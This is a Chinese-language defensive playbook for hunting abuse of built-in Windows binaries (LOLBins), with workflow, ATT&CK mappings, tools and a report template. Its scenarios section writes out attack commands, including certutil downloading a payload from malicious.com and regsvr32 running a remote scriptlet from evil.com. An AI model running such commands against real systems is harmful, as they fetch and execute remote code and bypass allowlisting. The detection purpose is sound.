狩猎系统内置工具滥用(LOLBin)
适用场景
- 调查绕过传统杀毒软件的无文件恶意软件活动时
- 主动威胁狩猎针对防御规避技术时
- EDR 告警触发合法二进制文件执行异常子进程时
- 威胁情报报告显示活跃活动中存在 LOLBin 滥用后
- 红队/紫队演练验证 T1218 的检测覆盖率时
前置条件
- 访问 EDR 遥测(CrowdStrike、Microsoft Defender for Endpoint、SentinelOne)
- 包含进程创建日志的 SIEM(Sysmon 事件 ID 1、Windows 安全 4688)
- 熟悉 LOLBAS 项目(lolbas-project.github.io)参考列表
- 已启用 PowerShell 命令行日志(模块日志、脚本块日志)
- 用于关联出站连接的网络代理或防火墙日志
工作流程
- 定义狩猎假设:基于威胁情报制定假设(如"攻击者正在使用 certutil.exe 从外部域名下载二阶段载荷")。
- 识别目标 LOLBin:从 LOLBAS 项目数据库中选择特定二进制文件进行狩猎,优先选择与当前威胁态势匹配的(certutil、mshta、rundll32、regsvr32、msiexec、wmic、cmstp、bitsadmin)。
- 收集进程遥测数据:查询 EDR 或 SIEM 中涉及目标 LOLBin 的进程创建事件,重点关注异常命令行参数、父进程或执行上下文。
- 建立正常行为基线:通过分析历史频率、典型父进程和标准参数,确定每个 LOLBin 在环境中的合法使用模式。
- 识别异常:将当前遥测数据与基线进行比对,标记包含网络连接、编码命令、异常文件路径或异常父子进程链的执行。
- 关联与丰富:将异常 LOLBin 活动与网络日志、DNS 查询、文件创建事件和威胁情报 feeds 进行交叉关联。
- 记录和报告:记录发现、更新检测规则,并为已识别的恶意 LOLBin 使用创建 IOC 列表。
核心概念
| 概念 | 描述 |
|---|---|
| LOLBin | 被攻击者用于恶意目的的合法操作系统二进制文件 |
| LOLBAS 项目 | 社区维护的 Windows LOLBin、LOLLib 和 LOLScript 列表 |
| T1218 | MITRE ATT&CK——签名二进制文件代理执行 |
| T1218.001 | 编译 HTML 文件(mshta.exe) |
| T1218.002 | 控制面板(control.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 |
| T1218.011 | Rundll32 |
| T1197 | BITS 任务(bitsadmin.exe) |
| T1140 | 解混淆/解码文件(certutil.exe) |
| 代理执行 | 使用受信任的二进制文件执行不受信任的代码 |
| 无文件攻击 | 主要在内存中运行而不落盘的攻击 |
工具与系统
| 工具 | 用途 |
|---|---|
| CrowdStrike Falcon | EDR 遥测和进程树分析 |
| Microsoft Defender for Endpoint | 使用 KQL 查询进行高级威胁狩猎 |
| Splunk | SIEM 日志聚合和 SPL 查询 |
| Elastic Security | 检测规则和时间线调查 |
| Sysmon | 详细的进程创建和网络日志 |
| LOLBAS 项目 | LOLBin 能力参考数据库 |
| Sigma Rules | LOLBin 通用检测规则格式 |
| Velociraptor | 终端取证采集和狩猎 |
常见场景
- certutil 下载器:攻击者使用
certutil.exe -urlcache -split -f http://malicious.com/payload.exe下载恶意软件,绕过允许 certutil 流量的 Web 代理。 - mshta HTA 执行:攻击者通过邮件投递 HTA 文件,通过
mshta.exe(Microsoft 签名的二进制文件)执行 VBScript 载荷。 - rundll32 DLL 代理加载:通过
rundll32.exe shell32.dll,ShellExec_RunDLL加载恶意 DLL,通过受信任的二进制文件代理执行。 - regsvr32 Squiblydoo:通过
regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll执行远程 SCT 文件,绕过应用程序白名单。 - bitsadmin 持久化:攻击者使用
bitsadmin /transfer创建 BITS 传输任务,反复下载并执行载荷。
输出格式
狩猎 ID:TH-LOLBIN-[日期]-[序号]
假设:[陈述的假设]
调查的 LOLBin:[二进制文件列表]
时间范围:[开始] - [结束]
数据源:[EDR、Sysmon、SIEM]
发现:
- [发现 1 及证据]
- [发现 2 及证据]
检测到的异常数:[数量]
真阳性:[数量]
假阳性:[数量]
已识别 IOC:[列表]
已创建/更新检测规则:[列表]
建议:[后续步骤]